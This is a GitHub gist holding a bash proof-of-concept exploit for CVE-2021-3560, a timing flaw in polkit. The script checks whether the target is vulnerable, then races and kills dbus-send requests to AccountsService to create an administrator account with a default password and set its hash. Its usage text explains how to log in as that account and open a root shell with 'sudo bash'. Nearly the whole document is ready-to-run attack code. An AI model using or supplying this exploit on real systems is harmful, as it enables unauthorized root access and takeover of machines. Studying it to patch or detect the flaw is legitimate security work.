Skip to content

Instantly share code, notes, and snippets.

@cstanze
Created August 30, 2023 15:59
Show Gist options
  • Save cstanze/173df170ff995abed618ecb3b82d538a to your computer and use it in GitHub Desktop.
Save cstanze/173df170ff995abed618ecb3b82d538a to your computer and use it in GitHub Desktop.
polkit exploit
#!/bin/bash
$USR
$PASS
$TIME
$FORCE
RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Argparse
function usage(){
echo "CVE-2021-3560 Polkit v0.105-26 Linux Privilege Escalation PoC by SecNigma"
echo ""
echo "Original research by Kevin Backhouse"
echo "https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#vulnerability"
echo ""
echo "USAGE:"
echo "./poc.sh"
echo "Optional Arguments:"
echo -e "\t-h --help"
echo -e "\t-u=Enter custom username to insert (OPTIONAL)"
echo -e "\t-p=Enter custom password to insert (OPTIONAL)"
echo -e "\t-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)"
echo -e "\t-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)"
echo -e "\tFormat to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms "
echo -e "Note:"
echo -e "Equal to symbol (=) after specifying an option is mandatory."
echo -e "If you don't specify the options, then the script will automatically detect the possible time and"
echo -e "will try to insert a new user using that time."
echo -e "Default credentials are 'secnigma:secnigmaftw'"
echo -e "If the exploit ran successfully, then you can login using 'su - secnigma'"
echo -e "and you can spawn a bash shell as root using 'sudo bash'"
printf "${RED}IMPORTANT: THIS IS A TIMING BASED ATTACK. MULTIPLE TRIES ARE USUALLY REQUIRED!!${NC}\n"
echo -e ""
}
while [ "$1" != "" ]; do
PARAM=`echo $1 | awk -F= '{print $1}'`
VALUE=`echo $1 | awk -F= '{print $2}'`
case $PARAM in
-h | --help)
usage
exit
;;
-u)
USR=$VALUE
;;
-p)
PASS=$VALUE
;;
-t)
TIME=$VALUE
;;
-f)
FORCE=$VALUE
;;
*)
echo "ERROR: unknown parameter \"$PARAM\""
usage
exit 1
;;
esac
shift
done
if [[ $USR ]];then
username=$(echo $USR)
else
username="secnigma"
fi
printf "\n"
printf "${BLUE}[!]${NC} Username set as : "$username"\n"
if [[ $PASS ]];then
password=$(echo $PASS)
else
password="secnigmaftw"
fi
# printf "${BLUE}[!]${NC} Password set as: "$password"\n"
if [[ $TIME ]];then
printf "${BLUE}[!]${NC} Timing set to : "$TIME"\n"
else
printf "${BLUE}[!]${NC} No Custom Timing specified.\n"
printf "${BLUE}[!]${NC} Timing will be detected Automatically\n"
fi
if [[ $FORCE ]];then
printf "${BLUE}[!]${NC} Force flag '-f=y' specified.\n"
printf "${BLUE}[!]${NC} Vulnerability checking is DISABLED!\n"
else
printf "${BLUE}[!]${NC} Force flag not set.\n"
printf "${BLUE}[!]${NC} Vulnerability checking is ENABLED!\n"
fi
t=""
timing_int=""
uid=""
function check_dist(){
dist=$(cat /etc/os-release|grep ^ID= | cut -d = -f2 |grep -i 'centos\|rhel\|fedora\|ubuntu\|debian')
echo $dist
}
function check_installed(){
name1=$(echo $1)
d1=$(echo $2)
if [[ $(echo $d1 | grep -i 'debian\|ubuntu' ) ]]; then
out=$(dpkg -l | grep -i $name1|grep -i "query and manipulate user account information\|utilities to configure the GNOME desktop")
echo $out
else
if [[ $(echo $d1 | grep -i 'centos\|rhel\|fedora' ) ]]; then
out=$(rpm -qa | grep -i $name1|grep -i "gnome-control-center\|accountsservice")
echo $out
fi
fi
}
function check_polkit(){
d=$(echo $1)
if [[ $(echo $d|grep -i 'debian\|ubuntu') ]]; then
out=$(dpkg -l | grep -i polkit|grep -i "0.105-26")
else
if [[ $(echo $d|grep -i 'centos\|rhel\|fedora') ]];then
out=$(rpm -qa | grep -i polkit|grep -i '0.11[3-9]')
fi
fi
echo $out
}
function float_to_int(){
floating=$(echo $1)
temp_val=$(echo ${floating:2:$((${#floating}))}) # Remove point
echo "`expr $temp_val / 1`"
}
function inc_float(){
floating=$(echo $1)
int_val=$(float_to_int $floating)
val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val + 1`'/g')
echo $val
}
function dec_float(){
floating=$(echo $1)
int_val=$(float_to_int $floating)
val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val - 1`'/g')
echo $val
}
function fetch_timing(){
exec 3>&1 4>&2 # Extra file descriptors to catch error
out=$( { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null 2>&4 1>&3; } 2>&1 )
tmp=$(echo $out |grep -i "real"|awk -F '.' '{print $2}')
tmp_timing=$(echo ${tmp:0:$((${#tmp}-10))})
exec 3>&- 4>&- # release the extra file descriptors
echo $tmp_timing
}
function calculate_timing(){
tmp_timing=$(echo $1)
size_tmp_timing=(echo ${#tmp_timing})
t=$(awk "BEGIN {print `echo $tmp_timing/2`}")
echo $t
exit
size_t=$(echo ${#t})
if [[ "size_t" -gt "size_tmp_timing" ]] ; then
t=${t%?}
else
if [[ "size_t" -lt "size_tmp_timing" ]] ; then
t=$(awk "BEGIN {print `echo $tmp_timing/2`}")
fi
fi
echo $t
}
function insert_user(){
# Time required to finish the whole dbus-send request
time_fetched=$(fetch_timing)
# Time to sleep
timing=$(calculate_timing `echo "0."$time_fetched`)
temp_count=$(inc_float `echo $timing`)
count=$(float_to_int $temp_count)
if [[ $TIME ]]; then
t=""
t=$(echo $TIME)
else
t=""
t=$(echo $timing)
fi
if [[ $(id `echo $username` 2>/dev/null) ]]; then
uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1)
echo $uid","$t
else
loop_count=20
for i in $(seq 1 $loop_count|sort -r)
do
if [[ $(id `echo $username` 2>/dev/null) ]];
then
uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1)
echo $uid","$t
else
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>/dev/null & sleep `echo $t`s 2>/dev/null; kill $! 2>/dev/null
fi
done
fi
}
function insert_pass(){
ti=$(echo $1)
u_id=$(echo $2)
hash1=$(openssl passwd -5 `echo -n $password`)
temp_count=$(inc_float `echo $ti`)
count=$(float_to_int $temp_count)
time=$(echo $ti)
loop_count=20
for i in $(seq 1 $loop_count|sort -r)
do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye 2>/dev/null & sleep `echo $ti`s 2>/dev/null; kill $! 2>/dev/null
done
return 1
}
function exploit(){
printf "${BLUE}[!]${NC} Starting exploit...\n"
printf "${BLUE}[!]${NC} Inserting Username `echo $username`...\n"
ret=$(insert_user)
t=$(echo $ret|cut -d , -f2)
uid=$(echo $ret|cut -d , -f1)
if [[ $(id `echo $username` |grep -i `echo $username`) ]]; then
printf "${GREEN}[+]${NC} Inserted Username `echo $username` with UID `echo $uid`!\n"
printf "${BLUE}[!]${NC} Inserting password hash..."
echo $timing
ret=$(insert_pass $(echo $t) $(echo $uid))
if [[ "$ret" -ne "1" ]]; then
printf "${BLUE}[!]${NC} It looks like the password insertion was succesful!\n"
printf "${BLUE}[!]${NC} Try to login as the injected user using su - `echo $username`\n"
printf "${BLUE}[!]${NC} When prompted for password, enter your password \n"
printf "${BLUE}[!]${NC} If the username is inserted, but the login fails; try running the exploit again.\n"
printf "${BLUE}[!]${NC} If the login was succesful,simply enter 'sudo bash' and drop into a root shell!\n"
else
printf "${BLUE}[!]${NC} It seems like the password injection FAILED!\n"
printf "${BLUE}[!]${NC} Aborting Execution!\n"
printf "${BLUE}[!]${NC} Usually multiple attempts are required to get the timing right. Try running the exploit again.\n"
printf "${BLUE}[!]${NC} If the exploit doesn't work after several tries, then you may have to exploit this manually.\n"
fi
else
printf "${RED}[x]${NC} Insertion of Username failed!\n"
printf "${BLUE}[!]${NC} Aborting Execution!\n"
printf "${BLUE}[!]${NC} Usually multiple attempts are required to get the timing right. Try running the exploit again.\n"
printf "${BLUE}[!]${NC} If the exploit doesn't work after several tries, then you may have to exploit this manually.\n"
fi
}
if [[ "$FORCE" == "y" ]]; then
exploit
else
printf "${BLUE}[!]${NC} Starting Vulnerability Checks...\n"
printf "${BLUE}[!]${NC} Checking distribution...\n"
dist=$(check_dist)
printf "${BLUE}[!]${NC} Detected Linux distribution as `echo $dist`\n"
printf "${BLUE}[!]${NC} Checking if Accountsservice and Gnome-Control-Center is installed\n"
ac_service=$(check_installed $(echo "accountsservice") $dist)
gc_center=$(check_installed $(echo "gnome-control-center") $dist)
if [[ $ac_service && $gc_center ]]
then
printf "${GREEN}[+]${NC} Accounts service and Gnome-Control-Center Installation Found!!\n"
printf "${BLUE}[!]${NC} Checking if polkit version is vulnerable\n"
polkit=$(check_polkit $(echo $dist))
if [[ $polkit ]]
then
printf "${GREEN}[+]${NC} Polkit version appears to be vulnerable!!\n"
exploit
else
printf "${RED}[x]${NC} ERROR: Polkit version does not appears to be vulnerable!!\n"
printf "${BLUE}[!]${NC} Aborting Execution!"
printf "${BLUE}[!]${NC} You might want to use the '-f=y' flag to force exploit\n"
fi
else
printf "${RED}[x]${NC} ERROR: Accounts service and Gnome-Control-Center NOT found!!\n"
printf "${BLUE}[!]${NC} Aborting Execution!\n"
fi
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment